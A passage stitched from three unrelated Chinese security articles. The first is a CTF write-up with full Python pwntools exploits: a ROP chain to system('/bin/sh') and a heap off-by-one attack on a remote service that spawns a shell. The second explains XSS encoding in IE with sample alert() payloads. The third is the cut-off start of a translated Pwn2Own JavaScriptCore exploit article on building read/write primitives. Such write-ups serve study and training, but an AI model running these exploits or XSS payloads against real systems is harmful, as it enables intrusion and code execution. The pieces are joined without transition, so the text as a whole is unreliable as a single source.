offset_system = 0x00000000000468f0
offset_dup2 = 0x00000000000ece70
offset_read = 0x00000000000ec690
offset_write = 0x00000000000ec6f0
offset_str_bin_sh = 0x17dbc5
'''
offset___libc_start_main_ret = 0x21f45
offset_system = 0x0000000000046590
offset_dup2 = 0x00000000000ebe90
offset_read = 0x00000000000eb6a0
offset_write = 0x00000000000eb700
offset_str_bin_sh = 0x17c8c3
'''
#offset_printf = 0x0000000000054340
offset_printf = 0x00000000000546b0
libc = u64(rn(6).ljust(8, 'x00')) - offset_printf
info("Libc = " + hex(libc))
ropchain = p64(poprdi)
ropchain += p64(libc + offset_str_bin_sh)
ropchain += p64(libc + offset_system)
decrypt(256, ropchain.ljust(512))
io.interactive()
return
if __name__ == '__main__':
pwn()
**Pwn500**
漏洞点在读入固定长度内容时有nullbyte off-by-one。利用方式和google project
zero的[https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html](https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html) 这篇文章相似，通过伪造prev_size和in_use位来达到chunk
overlapping的效果。具体利用见脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
from ctypes import *
import os, sys
os.environ['LD_PRELOAD'] = './libc_xd.so'
# switches
DEBUG = 0
LOCAL = 0
VERBOSE = 1
# modify this
if LOCAL:
io = process('./pwn500')
else:
io = remote('119.28.62.216',10024)
if VERBOSE: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def ra(count): # recv all
buf = ''
while count:
tmp = io.recvn(count)
buf += tmp
count -= len(tmp)
return buf
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
def dehex(s):
return s.replace(' ','').decode('hex')
def limu8(x):
return c_uint8(x).value
def limu16(x):
return c_uint16(x).value
def limu32(x):
return c_uint32(x).value
# define interactive functions here
def enterGame(char='y'):
ru('n)?n')
sl(char)
return
def menu():
return ru(':')
def senderinfo(name,contact):
menu()
sl('1')
ru('?')
sn(name)
ru('?')
sn(contact)
return
def submitpack():
menu()
sl('6')
return
def showrcvr():
menu()
sl('5')
return
def deletercvr(index):
menu()
sl('4')
ru('?')
sl(str(index))
return
def newrcvr():
menu()
sl('2')
return
def setReceiver(name,postcode,contact,address):
menu()
sl('1')
ru('?')
sn(name)
ru('?')
sn(postcode)
ru('?')
sn(contact)
ru('?')
sn(address)
return
def newPackage(length, data):
menu()
sl('2')
ru('?')
sl(str(length))
ru('~')
sn(data)
return
def savePackage():
menu()
sl('5')
return
def exitAddRecv():
menu()
sl('6')
return
def deletePackage(index):
menu()
sl('3')
ru('?')
sl(str(index))
return
def editrcvr(index,name,postcode,contact,address):
menu()
sl('3')
ru('?')
sl(str(index))
ru('?')
sn(name)
ru('?')
sn(postcode)
ru('?')
sn(contact)
ru('?')
sn(address)
return
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
enterGame()
senderinfo('1n', '1n')
newrcvr()
setReceiver('1n', '1n', '1n', '1n')
newPackage(160, 'a'.ljust(159,'a')+'n')
newPackage(160, 'b'.ljust(159,'b')+'n')
newPackage(160, 'c'.ljust(159,'c')+'n')
newPackage(8, 'padn') # sep
newPackage(160, 'd'.ljust(159,'d')+'n')
newPackage(224, 'e'.ljust(223,'e')+'n')
#newPackage(160, 'fn')
deletePackage(2)
deletePackage(1)
savePackage()
newrcvr()
setReceiver('2n', '2n', '2n', '2n') # take original 2
newPackage(160, 'x'*152 + p64(816)) # take 1, off by one
deletePackage(3) # delete 3
deletePackage(3) # wild chunk overlap
savePackage()
newrcvr()
exitAddRecv()
newrcvr()
setReceiver('3n', '3n', '3n', '3n')
newPackage(0x1f0, 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAA' + p64(0x602ff0) + p64(0x0) + 'n')
exitAddRecv()
editrcvr(0, '1n', '1n', '1n', '/bin/sh;n')
showrcvr()
for i in xrange(2): ru('address:')
addr = u64(rn(6).ljust(8,'x00')) - 0x00000000000ec690
info("Libc leak = " + hex(addr))
system = addr + 0x468f0
read = addr + 0xec690
editrcvr(1, '1n', '1n', p64(system)[:-1] + 'n', p64(read)[:-1] + 'n')
editrcvr(0, 'xn', 'xn', 'xn', 'xn')
io.interactive()
return
if __name__ == '__main__':
pwn()
**Misc**
****
**Misc150**
ntfs流提取出一个zip压缩包，把最后部分的空白那几行去掉0d 0a，然后LSB每7位表示一个字节，得到flag为6d3677dd
**challenge_how_many_Vigenère**
提示是维吉尼亚密码，而且没给秘钥，gg下找到一个爆破网址：
[https://www.guballa.de/vigenere-solver，秘钥长度3-120：](https://www.guballa.de/vigenere-solver)
得到明文：
Aliceleavestheteapartyandentersthegardenwhereshecomesuponthreelivingplayingcardspaintingthewhiterosesonarosetreeredbecausethequeenofheartshateswhiterosesaprocessionofmorecardskingsandqueensandeventhewhiterabbitentersthegardenalicethenmeetsthekingandqueenthequeenafiguredifficulttopleaseintroduceshertrademarkphraseoffwithhisheadwhichsheuttersattheslightestdissatisfactionwithasubjectaliceisinvitedorsomemightsayorderedtoplayagameofcroquetwiththequeenandtherestofhersubjectsbutthegamequicklydescendsintochaosliveflamingosareusedasmalletsandhedgehogsasballsandaliceonceagainmeetsthecheshirecatthequeenofheartsthenordersthecattobebeheadedonlytohaveherexecutionercomplainthatthisisimpossiblesincetheheadisallthatcanbeseenofhimbecausethecatbelongstotheduchessthequeenispromptedtoreleasetheduchessfromprisontoresolvethematter
gg下，发现是（爱丽丝梦游仙境?）：
根据题目要求进行加密得到flag。
**easy100**
动态调试发现加密密钥为htsii__sht_eek.y，然后aes加密，加密后的字符为{21, -93, -68, -94, 86, 117, -19,
-68,-92, 33, 50, 118, 16, 13, 1, -15, -13, 3, 4, 103, -18, 81, 30, 68, 54,
-93, 44, -23,93, 98, 5, 59}，解密出来即是flag。
**Easyeasy200**
So里面检测了调试环境，patch检测的字符串即可绕过，点击的button被隐藏了，在右下角，绕过反调试后后动态调试下发现取出输入的5-38位后进行逆置，对逆置的字符串进行base64编码后和dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k进行比较，解密出来再逆置回去即是flag：iwantashellbecauseidonthaveitttt
**Misc400**
流量中发现攻击者首先利用proftpd的一个洞上传了webshell然后反弹shell了一个4444端口。利用4444端口的shell写了一个新的webshell进来。然后利用新的webshell下载了两个图片文件。
两个图片文件异或后获得一个python脚本。
import sys
key = '******************'
flag = 'AES_key{***************}'
if len(key) % 2 == 1:
print("Key Length Error")
sys.exit(1)
n = len(key) / 2
encrypted = ''
for c in flag:
c = ord(c)
for a, b in zip(key[0:n], key[n:2*n]):
c = (ord(a) * c + ord(b)) % 251
encrypted += '%02x' % c
print encrypted
#encrypt="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539"
用一个脚本解出AES_key
m="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539"
def process(a,b,m):
return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m.decode('hex')))))
for i in xrange(255):
for j in xrange(255):
if "AES_key{" in process(i,j,m):
print process(i,j,m)
#AES_key{FK4Lidk7TwNmRWQd}
关于原理可以看下的MMACTF 2016的Super Express
然后发现一段奇怪的DNS请求，将数据取出然后用上面算出的aeskey解密。
#!/usr/bin/env python
# encoding:utf-8
__author__ = 'albertchang'
from Crypto.Cipher import AES
from Crypto import Random
import base64
def decrypt(data, password):
unpad = lambda s: s[0:-ord(s[-1])]
iv = data[:16]
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(data[16:])
return data
if __name__ == '__main__':
password = 'FK4Lidk7TwNmRWQd'
encrypt_data1 = base64.b64decode(
'OYzmTh2MGNclc5gALl+2lJ/xu58d4dAtidJc2w4dRhB1cuh/pXAt17QSjEIFMPiSE6w+DXpXJk9zm0FD39MGvwL4ZNpr2YndIPnjnb0W3xNeP+e5r//GhTYkNTdPo4xpT4d+HMihDB1mZNcQ8Gib69l5NlqC8PFjEeABWPfJezqG0LozsEjukHJOCMhVlRrirtkI7/ExFZAgH+G1i/gaw84nJ0DbGXQEpA2wySh6/iXeJD1ZYgt7jRgKLCL6CGggxsAEP9+m3QTZkxEitNqplA==')
encrypt_data2 = base64.b64decode(
'Mvw3nE7h3GtoC0xqGKmjboBW7h+WyH+QhJRd1EL+Qc7cgRAaVNYwWrWDMByHOIlSig+MvEg0GTihcnuNdgRpD4fgmEgjvAvScqJkQUes+Mxbi4NNkCv6YANnbGFbZSUVs3YbulPu6Xzj+/nBmJcOsti94BHja8Cjym4l2qpmIkjR6kONAs2e7uAkduLR1zH9')
decrypt_data1 = decrypt(encrypt_data1, password)
print 'decrypt_data1:n', decrypt_data1
decrypt_data2 = decrypt(encrypt_data2, password)
print 'decrypt_data2:n', decrypt_data2
得到
Please submit the used ftp CVE ID like "CVE********"and LCTF{A11_1n_0ne_Pcap}
as your flag.eg."CVE12345678A11_1n_0ne_Pcap"
搜到[https://www.exploit-db.com/exploits/36803/](https://www.exploit-db.com/exploits/36803/)
故CVE20153306A11_1n_0ne_Pcap
**Reverse**
****
****
**Re100**
用ida可以看到程序不停的使用QMetaObject的activate方法来调用其它的函数。由于对Qt不太熟我选择在各关键函数上下断点看call
stack，一层层追溯回去可以找到加密的地方，写出对应的解密代码。（解密得到的flag最后不知道为啥有几位是不可见字符，不过根据其它位置可以猜出来…）
脚本：
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from ctypes import *
from hexdump import hexdump
iv = 'Cirno'
def ror8(x,bits):
r = (((x >> bits) & 0xff) | ( x << (8-bits))) & 0xff
return r
def dexor_2(data):
g = []
for i in xrange(5):
t = ord(data[i])
k = ord(iv[i])
g.append(ror8(t^k,4))
return ''.join(map(lambda x:chr(x), g))
def dexor_1(data,key):
g = []
for i in xrange(5):
t = ord(data[i])
k = ord(key[i])
g.append(t^k)
return ''.join(map(lambda x:chr(x), g))
encdata = '''
D9 EF 31 06 88 D6 00 62
B1 07 48 6A 73 80 18 01
D9 D2 75 08 25 01 18 BF
FC 26 8C 85 83 76 12 31
BA C6 98
'''.replace('n','').replace(' ','').decode('hex')
hexdump(encdata)
s = ''
for i in xrange(6):
k = dexor_2(encdata[30-5*i:35-5*i])
k = dexor_1(k,encdata[25-5*i:30-5*i])
s = k + s
print k
print s
print dexor_2(encdata[0:5])
hexdump(s)
hexdump(dexor_2(encdata[0:5]))
# flag = 'LCTF{Th4nk_y0u_f0r_play1ng_th1s_gam3}'
Re200
程序最后一步是维吉尼亚加密，把密文仍到[https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
里得到密钥ieedcpgdhkedddfenkfaifgggcgbbbgf，然后根据程序对原始密钥的转换过程得到原始密钥
byte_804A440 = 0
byte_804A441= 0
def process0():
global byte_804A440
global byte_804A441
v0 = byte_804A441 & 0xF0 | byte_804A440 & 0xF
byte_804A440 = (byte_804A440 & 0xF0 | byte_804A441 & 0xF) ^ 0x99
byte_804A441 = v0 ^ 0x55
def process1():
global byte_804A440
global byte_804A441
byte_804A440 ^= byte_804A441
v0 = byte_804A441 >> 4
byte_804A441 = v0 | (16 * byte_804A441 & 0xFF)
def process2():
global byte_804A440
global byte_804A441
v0 = byte_804A440 >> 4
byte_804A440 = (16 * byte_804A441 & 0xFF) | (byte_804A440 & 0xF)
byte_804A441 = v0 | byte_804A441 & 0xF0
def process3():
global byte_804A440
global byte_804A441
byte_804A440 ^= 16 * byte_804A440 & 0xFF
byte_804A441 ^= 16 * byte_804A441 & 0xFF
def generate(key):
global byte_804A440
global byte_804A441
if (len(key) & 1) == 1:
key += 'x53'
key2 = []
key3 = []
cipher = []
for i in range(0, len(key), 2):
byte_804A440 = ord(key[i])
byte_804A441 = ord(key[i+1])
choice = (byte_804A440 >> 2) & 3
if choice == 0:
process0()
elif choice == 1:
process1()
elif choice == 2:
process2()
elif choice == 3:
process3()
key2.append(byte_804A440)
key2.append(byte_804A441)
for num in key2:
key3.append((num & 0xF) + 0x61)
key3.append((num >> 4) + 0x61)
return ''.join([chr(num) for num in key3])
final_key = 'ieedcpgdhkedddfenkfaifgggcgbbbgf'
origin_key = ''
for n in range(0, len(final_key), 4):
part_key = final_key[n:n+4]
for i in range(0x20, 0x7f):
for j in range(0x20, 0x7f):
key = chr(i) + chr(j)
key_stream = generate(key)
if key_stream == part_key:
origin_key += key
print origin_key
在反推nkfa时可得到两个结果，根据语义得到Flag为H4ck1ngT0TheGate
**Re300**
程序接受管理服务器发来的控制指令进行相应的操作，根据流量包，管理服务器发送了DDos的SYN攻击指令，但是对指令数据做了AES加密，分析程序可得到key，于是解密
from Crypto.Cipher import AES
data1 = [
0x06, 0x00, 0x00, 0x00, 0xf1, 0x4e, 0x0b, 0xfe,
0x2d, 0x94, 0xc3, 0x5c, 0x4b, 0xc6, 0x3a, 0x63,
0x54, 0x0d, 0xd5, 0x25, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0xb1, 0x2b, 0x36, 0xee,
0xda, 0xb3, 0x5c, 0x0b, 0x08, 0x9f, 0x58, 0x7e,
0x20, 0xeb, 0x8d, 0x01, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c,
0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47,
0xb9, 0x1b, 0x54, 0x6f, 0x47, 0x8d, 0x65, 0x40,
0x86, 0xb4, 0x7b, 0xd5, 0xb6, 0x4b, 0x40, 0xf6,
0xd6, 0x8d, 0x61, 0xd8, 0xb2, 0xed, 0xf9, 0x5c,
0x17, 0xe1, 0xc8, 0xae, 0x73, 0x19, 0x3c, 0x50,
0x45, 0xd5, 0x7a, 0xee, 0xcc, 0x31, 0x00 ]
data2 = []
key = 'x2Bx7Ex15x16x28xAExD2xA6xABxF7x15x88x09xCFx4Fx3C'
cipher = AES.new(key)
for i in range(0, 0x1a):
encrypt_data = data1[4+i*16:4+16+i*16]
plain = cipher.decrypt(''.join([chr(num) for num in encrypt_data]))
data2.append(plain)
print data2
得到ip为172.16.20.59，port为80，md5(ip:port)就得到flag
**Re400**
考查区块链的知识，幸亏之前听过实验室的小伙伴分享，给的magic_file是一个区块链记录，具体的是每个区块80个字节，每个块中的第4-36字节是上一块的hash值，第76-80字节是nonce，但是发现这个区块链中除了开始几个区块之外后面的区块的nonce都被清除了，程序的开始部分是在计算出每个区块的nonce值，由于一共有3400个区块，因此计算出所有的nonce需要花费很长的时间，另外最后的区块的hash值00000000d66d589aa63025b450d32cc7679e3969d62b240b348332acc16eb582，通过google发现这个区块链是公开的，因此就可以知道这个区块链所有区块的nonce，接下来可以通过查询区块的api获得之前所有区块的nonce
import requests
r = requests.get('https://chain.api.btc.com/v3/block/00000000d66d589aa63025b450d32cc7679e3969d62b240b348332acc16eb582')
data = r.json()
end = 0x7c2bac1d
file = open('nonce', 'w')
while (True):
file.write(str(data['data']['nonce']) + 'n')
if data['data']['nonce'] == end:
print 'end'
break
r = requests.get('https://chain.api.btc.com/v3/block/%s' % data['data']['prev_block_hash'])
data = r.json()
然后把获得的nonce写进每个区块
import pwn
file1 = open('magic_file', 'rb')
file2 = open('nonce')
file3 = open('origin_magic_file', 'wb')
data1 = file1.read()
data1 = list(data1)
data2 = file2.readlines()
data3 = []
for line in data2:
data3.append(pwn.p32(int(line[:-1])))
for i in range(0, 3400):
data1[i*80+76] = data3[3399 - i][0]
data1[i*80+77] = data3[3399 - i][1]
data1[i*80+78] = data3[3399 - i][2]
data1[i*80+79] = data3[3399 - i][3]
file3.write(''.join(data1))
file3.close()
最后使用生成的magic_file运行程序得到flag，另外CPU需要支持AVX指令集才能正常运行程序。 | 社区文章 |
## 作者：ze0r (二娃)
某次培训，讲到XSS中适用什么编码，大家纷纷表示比较模糊混乱。现实里也经常见XSS测试时各种编码一顿乱插，甚至很多研究文章也是只做统计，什么样可以，什么样不行，只基于测试结果做死记硬背。而下面我们就来讨论一下XSS中，到底可以适用什么编码？
首先，我们来初步了解下编译原理中词法分析和语义分析。如下
def x(y):
print y
x(5)
这是一段python代码，我们写出来的内容只是一堆字符串，python解释器会去解释这段代码。首先解释器发现了def关键字，它知道这是要定义一个函数，而后面的字符直到左括号（的字符串，都是函数名，之后是其他的参数、函数体等。这里就体现了在语义分析的核心，就是对一堆文本的数据进行解释。而同理，浏览器的作用就是分析我们定义好的HTML文本内容并渲染生成相应的样式，所以从这个角度上来说，浏览器就是一个编译器
--至少它是个解释器。
我们知道，在HTML中的代码类似如下：
<img src="a.jpg" onerror="alert(1)" />
<input value="test" style="" />
<button onclick="alert(1)">Click Me!</button>
<textarea>xxxxxxxxxxxxxxxx</textarea>
<script>\x97lert(1);</script>
我们不妨换一个角度去理解，我们把每一个元素看成一个对象，即IE在遇到<符号即知道随后跟的一个单词是要定义对象（元素）的名字，直到遇到右尖括号>或者成对的元素匹配才即终止这个对象的定义。比如1我们可以看作有一个image类型的对象，它的属性（成员变量）src的值为a.jpg,同理2中定义了一个input类型的对象，它有一个属性value值为test,而3和4则分别是一个button和一个textarea对象，5是一个script类型的对象。这正是IE内部的处理。
有调试过IE的人都知道，在IE中，HTML本身的渲染是由`mshtml.dll`来解释生成对象并展示出来的，而JS的代码会交给Jscript9.dll去解释执行。大家可以参考MVC结构，模型就是HTML中定义得那些元素，View就是我们看到得输入框、超链接的样子（可理解为style），这些都是在mshtml.dll中在匹配、分析、生成的，而Control就由`Jscript9.DLL`来完成，所以JS引擎不过就是把生成的模型和View按照树形组织并管理起来，例如控制着body节点（对象）下有一个成员为input对象：
IE的工作流程就是，拿到HTML文本代码，然后扫描寻找左尖括号<，找到即开始按照后面的字符串来生成相应的对象，然后把之后属性的值“赋值”给对象相应的属性，这里说明一下，这个属性其实在内存里并不是一个直接的值，而还是一个对象。这里思考一下，在给属性赋值的过程中，拿到的文本字符串其实就只是串连续的字符文本，下面我们讨论一个场景，假设我想在input框的value里，有一个>符号，我应该怎么写:
<input value=te>st style="" />
而这显然是错误的，浏览器解析时发现到>已经把之后的字符串“抛弃"，并不作为input对象的一部分定义。即需要定制另外一种表达标记字符的字符，为此就引入了另一只字符表示方式
--实体编码。
我们来看一下日常中引起执行JS代码的场景：
1 <script>
2 on* （事件）
3 javascript: （javascript伪协议）
上面已经说过了流程，那么在执行时，mshtml.dll到底把值字符串到底以什么形式传给jscript9.dll去解释执行的呢？在IE中，所有Javascript代码编译均由jscript9!ScriptEngine::DefaultCompile函数编译，此函数断下时，esp+4的值即指向由mshtml传过来的JS代码字符串。例如HTML代码如下：
<!doctype html>
<html>
<script>
function test() {
alert(222222);
var btn = document.createElement("input");
btn.value = "xxxx";
btn.onclick = function(){x=prompt("aaa");window[x](77777);}
document.body.appendChild(btn);
alert('\x3a\/?\u0061%6a<a');
}
</script>
<body>
<a href="javascript:alert('\x3a\/?\u0061%6a<a');" >test</a>
<input value="tttttt" onclick="alert(111111111);alert('\x3a\/?\u0061%6a<a');" />
</body>
</html>
代码中使用了三种形式的触发场景，IE加载页面后，同意加载JS脚本，之后windbg附加进程下断刷新IE重新加载页面继续执行，第一次断下查看内存：
参数即以双字节（兼容汉字）的形式表示的原始javascript代码，而内容也表明是SCRIPT标签定义的js代码。很容易得出结论：对于script标签定义的JS,可以泛理解为IE会直接产生script对象，之后把innerHTML，也就是JS代码内容直接原封不动传给JS引擎去解释执行。
点击超链接test，第二次断下：
这里看到的是javascript伪协议形式触发的JS，这里看到字符串只是冒号后面的内容，这是因为这里断下的只是要被JS引擎所解释执行的JS代码。为什么会执行代码？而javascript伪协议时，javascript:这个字符串又可以怎么编码呢？据作者分析结果，在HTML生成对象并赋值href属性时，会拿到原始字符串：javascript:alert('\x3a\/?\u0061%6a&
lt;a');
由于这个属性是URL形式（IE支持的URL形式可不只是http:，还有https:、ftp:、file：），故mshtml要生成这个真正指向的链接，例如是绝对路径还是相对路径，在生成此链接地址时，会分析是否为javascript:开头的URL，即js伪协议形式，函数是mshtml!IsScriptExecutableUrl，对该函数下断：
可看到此字符串只有实体编码和url编码被成功解码，实体字符是HTML定义的（亲儿子），肯定认识，而这里是URL形式的，故在设计者角度的思想设计为解码URL。得出结论：在javascript伪协议形式，全部字符串可以是任意的URL编码和实体字符。
继续来看on事件触发JS的情形，断下后：
比较有意思的是，在事件类型中，JS代码并不是直接解释直接，而是被封装成了一个名为onclick的function，参数是event，函数体即用户代码。查看字符串，可看到只有实体字符被还原解码，其他均无处理。可得出结论：在事件触发的情况下，只有实体字符是亲儿子，只认识解码实体字符。（这里插两句题外话，作者发现字符串被拼装成函数后，就想到了flash
XSS中exception被拼装的情况，测试了onclick改为`“};alert(1);function
x(event){”`，发现这个测试毫无意义，效果不过就是都能执行，有谁想到场景可讨论一下。再另外说明一下，这种情形下，真正引起执行的是`jscript9!ScriptEngine::ParseProcedureText`函数，而JS代码被解释编译后也是作为一个函数，作为windows消息循环机制中的事件callback来触发的。）
所以，最终结论就是：在IE解析HTML时，只对所有实体编码做出解码，在解析URL时，会解码URL编码，script标签时，原始文本均不做处理！
另外，浏览器对HTML解析时，元素标签和属性标签可以有哪些编码方式（如onclick）？以及JS引擎对javascript代码会解码哪些编码？我们将在下一篇文章通过chrome或者firefox源代码来进行分析。
下面摘自网络的一段XSS姿势。我们结合分析结论做出解释
1 | `<a href="javascript:%61%6c%65%72%74%28%32%29">` |
浏览器在拿到URL后，全字符串做URL解码，会得到javascript:开头的字符串 | Y
---|---|---|---
2 | `<a href="javascript%3aalert(3)"></a>` | 同上 | N
3 | `<div><img src=x onerror=alert(4)></div>` |
现浏览器只认<,这里根本没有在文本里扫描到<，故根本就不是对象，不产生IMG元素 | N
4 | `<textarea><script>alert(5)</script></textarea>` |
只扫描到了textarea类型，产生了textarea，其余字符串只是作为值字符串，值里含有<字符。 | N
5 | `<textarea><script>alert(6)</script></textarea>` |
探测到了textarea对象的定义，故成对匹配出来中间的内容作为了属性来看待。 | N
### 高级部分
6 | `<button onclick="confirm('7');">Button</button>` | 一切值原始文本均会做出实体解码。 | Y
---|---|---|---
7 | `<button onclick="confirm('8\u0027);">Button</button>` | 事件触发情形，只解码实体编码 |
N
8 | `<script>alert(9);</script>` | 在script标签里，原封不动交给js引擎。 | N
9 | `<script>\u0061\u006c\u0065\u0072\u0074(10);</script>` |
在script标签里，原封不动交给js引擎。之后涉及JS引擎对字符串的解码。不做详细讨论。 | Y
10 | `<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>`
| 同上 | N
11 | `<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>` | 同9 | N
12 | `<script>alert('13\u0027)</script>` | 同9 | N
13 | `<script>alert('14\u000a')</script>` |
同9，稍微提一下，JS引擎解析也是查找调用（函数）的过程。不做详细讨论 | Y
结束语:
作者认为，在一切注入类的漏洞里，均是因为数据和指令混乱在一起导致的。缓冲区溢出、SQL注入、XSS、XXE、命令注入等，都隔离不清导致的。故缓冲区溢出引入了GS和DEP，SQL注入引入了预编译，故阻止注入类漏洞最根本的方法还是数据和指令隔离。 | 社区文章 |
原文：<https://blog.ret2.io/2018/07/11/pwn2own-2018-jsc-exploit/>
在本文的上篇中，我们为读者介绍了漏洞利用原语的概念，并讲解了渐进式原语构建的理念，同时，还详细介绍了UAF目标的选取、强行构造UAF漏洞的方法以及如何利用该漏洞构建相对读写原语的方法。在本文中，我们将为读者介绍如何一步一步实现远程代码执行。
**相对R/W原语的局限性**
* * *
不幸的是，JSArrays固有的几个因素限制了我们在上一节中建立的相对R/W原语的效用。其中，最主要的限制是JSArray的length属性是作为32位有符号整数来存储和使用的。
这的确是一个问题，因为这意味着，我们只能以“向前”索引的方式来越界读写紧随我们的butterfly结构的堆数据。这样的话，对于我们的相对R/W原语来说，无法访问运行时内存空间中的很大一部分。
// relative access limited 0-0x7FFFFFFF forward from malformed array
print(oob_array[-1]); // bad index (undefined)
print(oob_array[0]); // okay
print(oob_array[10000000]); // okay
print(oob_array[0x7FFFFFFF]); // okay
print(oob_array[0xFFFFFFFF]); // bad index (undefined)
print(oob_array[0xFFFFFFFFFFF]); // bad index (undefined)
我们的下一个目标，是构建一个任意R/W原语，以便可以读写应用程序运行时的64位地址空间中的任意内存。对于JavaScriptCore来说，可以实现这种周遍性的技术有多种，具体将在下一节中讨论。
**TypedArrays的应用**
* * *
在JavaScript语言规范中，有一些称为[TypedArrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays
"TypedArrays")的对象。实际上，这是些类似于数组的对象，允许JS开发人员通过较低级别的数据类型对内存进行更精确和有效的控制。
之所以将TypedArrays引入JavaScript语言，就是为了便于编写在浏览器中处理音频、视频和图像的脚本。这是因为，使用直接内存操作或存储来实现这些类型的计算会更自然、更高效。出于同样的原因，漏洞利用作者通常对TypedArrays也是虎视眈眈。
TypedArray的结构（在JavaScriptCore的上下文中）包含以下组件：
一个JSCell，类似于所有其他JSObjects
* 未用的Butterfly指针字段
* 指向TypedArray数据的底层“后备存储”的指针
* 后备存储的长度
* 模式标志
重要的是，后备存储是存储在TypedArray对象中的用户数据在内存中的实际位置。如果我们可以覆盖TypedArray的后备存储指针，则可以指向内存中的任何地址。
内存中TypedArray JSObject的示意图及其底层后备存储
实现任意R/W原语最简单的方法，是在畸形的JSArray之后的某处分配一个TypedArray对象，然后，使用我们的相对R/W原语将后备存储指针改为我们选择的地址。通过对索引为0的TypedArray元素进行读写操作，我们就能直接与指定地址的内存单元进行交互了。
可以通过覆盖TypedArray中的后备存储指针来实现任意R/W原语
由于没有时间去研究JSC堆和垃圾收集器算法，所以，我们很难通过纯堆风水方法将TypedArray放到我们的相对R/W范围的附近。相反，我们将采用[已知](http://phrack.org/papers/attacking_javascript_engines.html
